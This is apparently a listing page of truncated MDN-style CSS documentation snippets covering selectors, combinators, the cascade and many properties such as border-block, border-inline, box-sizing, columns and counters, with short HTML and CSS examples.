in addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
in formal syntax, data types are denoted by a keyword placed between the inequality signs "<" and ">".
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
gins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the html: user-agent css: li { margin-left: 10px } author css 1: li { margin-left: 0 } /* this is a reset */ author css 2: @media screen { li { margin-left: 3px } } @media print { li { margin-left: 1px } } user css: .specific { margin-left: 1em } html: <ul> <li class="specific">1<sup>st</sup></li> <li>2<sup>nd</sup></li> </ul> in this case, declarations inside li and .specific rules should apply.
Column combinator - CSS: Cascading Style Sheets
/* table cells that belong to the "selected" column */ col.selected || td { background: gray; } syntax column-selector || cell-selector { /* style properties */ } examples html <table border="1"> <colgroup> <col span="2"/> <col class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td { background: gray; color: white; font-weight: bold; } result specifications ...
Descendant combinator - CSS: Cascading Style Sheets
/* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator.
General sibling combinator - CSS: Cascading Style Sheets
working draft renames it the "subsequent-sibling" combinator.
ID selectors - CSS: Cascading Style Sheets
/* the element with id="demo" */ #demo { border: red 2px solid; } syntax #id_value { style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
Breadcrumb Navigation - CSS: Cascading Style Sheets
this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: ""; } this solution uses a more complex selector, but requires less rules.
Card - CSS: Cascading Style Sheets
this pattern is a list of "card" components with optional footers.
Sticky footers - CSS: Cascading Style Sheets
a sticky footer pattern is one where the footer of your page "sticks" to the bottom of the viewport in cases where the content is shorter than the viewport height.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
html <div class="animation">animated box</div> css .animation { -webkit-animation: vibrate 0.3s linear infinite both; animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } high contrast mode the -ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high con...
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
combinators combinators are selectors that establish a relationship between two or more simple selectors, such as "a is a child of b" or "a is adjacent to b." adjacent sibling combinator a + b specifies that the elements selected by both a and b have the same parent and that the element selected by b immediately follows the element selected by a horizontally.
Selector list - CSS: Cascading Style Sheets
working draft renamed to "selector list" css level 1the definition of 'grouping' in that specification.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
editor's note: we should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built.
Visual formatting model - CSS: Cascading Style Sheets
a box generated by an element with display: block is called a "block box" or just a "block".
animation-fill-mode - CSS: Cascading Style Sheets
html <p>move your mouse over the gray box!</p> <div class="demo"> <div class="growsandstays">this grows and stays big.</div> <div class="grows">this just grows.</div> </div> css .demo { border-top: 100px solid #ccc; height: 300px; } @keyframes grow { 0% { font-size: 0; } 100% { font-size: 40px; } } .demo:hover .grows { animation-name: grow; animation-duration: 3s; } .demo:hover .growsandstays { animation-name: grow; animation-durat...
aspect-ratio - CSS: Cascading Style Sheets
in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
backdrop-filter - CSS: Cascading Style Sheets
l, body { height: 100%; width: 100%; } body { background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
background-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div class="exampleone"> lorem ipsum dolor sit amet, consectetuer </div> <div class="exampletwo"> lorem ipsum dolor sit amet, consectetuer </div> <div class="examplethree"> lorem ipsum dolor sit amet, consectetuer </div> css .exampleone { background-color: teal; color: white; } .exampletwo { background-color: rgb(153,102,153); color: rgb(255,255,204); } .examplethree { background-color: ...
background-repeat - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valuea list, each item consisting of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting background-repeat html <ol> <li>no-repeat <div class="one"></div> </li> <li>repeat <div class="two"></div> </li> <li>repeat-x <div class="three"></div> </li> <li>repeat-y <div class="four"></div> </li> <li>space <div class="five"></div> </li> <li>round <div class="six"></div> </li> <li>repeat-x, repeat-y (multiple images) <div class="seven"></div> </li> </ol> css /* shared for all divs in example */...
block-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-block-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification...
border-block-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that speci...
border-block-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that spe...
border-block-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specif...
border-block-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that s...
border-block-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that...
border-block-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that sp...
border-block-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
border-block-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specificati...
border-block-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-block - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
border-bottom-style - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <line-style>where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples demonstrating all border styles html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3...
border-end-end-radius - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css content div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level ...
border-end-start-radius - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the...
border-image-outset - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem; background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css backgrounds and borders module level 3the definition o...
border-image-slice - CSS: Cascading Style Sheets
html <div class="wrapper"> <div></div> </div> <ul> <li> <label for="width">slide to adjust <code>border-width</code></label> <input type="range" min="10" max="45" id="width"> <output id="width-output">30px</output> </li> <li> <label for="slice">slide to adjust <code>border-image-slice</code></label> <input type="range" min="10" max="45" id="slice"> <output id="slice-output">30</out...
border-inline-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specificati...
border-inline-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specificatio...
border-inline-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that s...
border-inline-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that spec...
border-inline-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specific...
border-inline-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specif...
border-inline-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specifica...
border-inline-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specificat...
border-inline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
border-inline - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
border-left-style - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <line-style>where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2...
border-radius - CSS: Cascading Style Sheets
followed optionally by "/" and one, two, three, or four <length> or <percentage> values.
border-right-style - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <line-style>where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples border styles html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2...
border-start-end-radius - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the...
border-start-start-radius - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level ...
border-style - CSS: Cascading Style Sheets
html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3...
border-top-style - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <line-style>where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2...
border-width - CSS: Cascading Style Sheets
one or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenanimation typeas each of the properties of the shorthand:border-bottom-width: a lengthborder-left-width: a lengthborder-right-width: a lengthborder-top-width: a length formal syntax <line-width>{1,4}where <line-width> = <length> | thin | medium | thick examples a mix of values and lengths html <p id="sval"> one value: 6px wide border on all 4 sides</p> <p id="bival"> two different values: 2px wide top and bottom border, 10px wide right and left border</p> <p id="treval"> three different values: 0.3em top, 9px bottom, and zero width right and left</p> <p id="fourval"> four different values: "thin" top, "medium" right, "thick" bottom, and 1em left</p> css #sval { border: ridg...
bottom - CSS: Cascading Style Sheets
WebCSSbottom
html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification statu...
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
ox-align: center; /* webkit */ /* pack children to the bottom of this box */ box-pack: end; /* as specified */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example > p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } </style> </head> <body> <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> specifications not part of any standard.
box-flex - CSS: Cascading Style Sheets
WebCSSbox-flex
100%; } div.example > p:nth-child(1) { -moz-box-flex: 1; /* mozilla */ -webkit-box-flex: 1; /* webkit */ border: 1px solid black; } div.example > p:nth-child(2) { -moz-box-flex: 0; /* mozilla */ -webkit-box-flex: 0; /* webkit */ border: 1px solid black; } </style> </head> <body> <div class="example"> <p>i will expand to fill extra space</p> <p>i will not expand</p> </div> </body> </html> specifications not part of any standard.
box-orient - CSS: Cascading Style Sheets
html <div class="example"> <p>i will be to the left of my sibling.</p> <p>i will be to the right of my sibling.</p> </div> css div.example { display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ display: box; /* as specified */ /* children should be oriented vertically */ -moz-box-orient: horizontal; /* mozilla */ -webkit-box-...
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
horizontal center of this box */ -moz-box-align: center; /* mozilla */ -webkit-box-align: center; /* webkit */ /* pack children to the bottom of this box */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> specifications not part of any standard.
box-sizing - CSS: Cascading Style Sheets
html <div class="content-box">content box</div> <br> <div class="border-box">border box</div> css div { width: 160px; height: 80px; padding: 20px; border: 8px solid red; background: yellow; } .content-box { box-sizing: content-box; /* total width: 160px + (2 * 20px) + (2 * 8px) = 216px total height: 80px + (2 * 20px) + (2 * 8px) = 136px content box width: 160px content box height: 8...
break-inside - CSS: Cascading Style Sheets
fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <figure> <img src="https://udn.realityripple.com/samples/fe/4508d88f78.png"> <figcaption>the firefox logo — fox wrapped around the world</figcaption> </figure> <p>praesent condimentum dui dui, sit amet rutrum diam tincidunt eu.
caption-side - CSS: Cascading Style Sheets
formal definition initial valuetopapplies totable-caption elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax top | bottom | block-start | block-end | inline-start | inline-end examples setting captions above and below html <table class="top"> <caption>caption above the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> <br> <table class="bottom"> <caption>caption below the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> css .top caption { caption-side: top; } .bottom caption { caption-side: bottom; } table { border: 1px solid red; ...
caret-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a custom caret color html <input value="this field uses a default caret." size="64"/> <input class="custom" value="i have a custom caret color!" size="64"/> <p contenteditable class="custom">this paragraph can be edited, and its caret has a custom color as well!</p> css input { caret-color: auto; display: block; margin-bottom: .5em; } input.custom { caret-color: red; } p.custom { caret-color: green; } result specif...
color-adjust - CSS: Cascading Style Sheets
css .my-box { background-color: black; background-image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-items: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification.
column-count - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box"> this is a bunch of text split into three columns using the css `column-count` property.
column-fill - CSS: Cascading Style Sheets
formal definition initial valuebalanceapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | balance | balance-all examples splitting text evenly across columns html <p class="content-box"> this is a bunch of text split into multiple columns.
column-rule - CSS: Cascading Style Sheets
n-rule-color: computed colorcolumn-rule-style: as specifiedcolumn-rule-width: the absolute length; 0 if the column-rule-style is none or hiddenanimation typeas each of the properties of the shorthand:column-rule-color: a colorcolumn-rule-style: discretecolumn-rule-width: a length formal syntax <'column-rule-width'> | <'column-rule-style'> | <'column-rule-color'> examples example 1 /* same as "medium dotted currentcolor" */ p.foo { column-rule: dotted; } /* same as "medium solid blue" */ p.bar { column-rule: solid blue; } /* same as "8px solid currentcolor" */ p.baz { column-rule: solid 8px; } p.abc { column-rule: thick inset blue; } example 2 html <p class="content-box"> this is a bunch of text split into three columns.
column-width - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
columns - CSS: Cascading Style Sheets
WebCSScolumns
toblock containers except table wrapper boxesinheritednocomputed valueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer formal syntax <'column-width'> | <'column-count'> examples setting three equal columns html <p class="content-box"> this is a bunch of text split into three columns using the css `columns` property.
Computed value - CSS: Cascading Style Sheets
doing the computation needed to reach the value described in the "computed value" line in the property's definition table.
conic-gradient() - CSS: Cascading Style Sheets
why is it called a "conic" gradient?
counter-increment - CSS: Cascading Style Sheets
syntax /* increment "my-counter" by 1 */ counter-increment: my-counter; /* decrement "my-counter" by 1 */ counter-increment: my-counter -1; /* increment "counter1" by 1, and decrement "counter2" by 4 */ counter-increment: counter1 counter2 -4; /* do not increment/decrement anything: used to override less specific rules */ counter-increment: none; /* global values */ counter-increment: inherit; counter-increment: i...
counter-reset - CSS: Cascading Style Sheets
syntax /* set "my-counter" to 0 */ counter-reset: my-counter; /* set "my-counter" to -1 */ counter-reset: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-reset: counter1 1 counter2 4; /* cancel any reset that could have been set in less specific rules */ counter-reset: none; /* global values */ counter-reset: inherit; counter-reset: initial; counter-reset: unset; the counter-reset pro...
counter-set - CSS: Cascading Style Sheets
syntax /* set "my-counter" to 0 */ counter-set: my-counter; /* set "my-counter" to -1 */ counter-set: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-set: counter1 1 counter2 4; /* cancel any counter that could have been set in less specific rules */ counter-set: none; /* global values */ counter-set: inherit; counter-set: initial; counter-set: unset; the counter-set property is specified as either one of the following: a <custom-ident> naming ...
counter() - CSS: Cascading Style Sheets
WebCSScounter
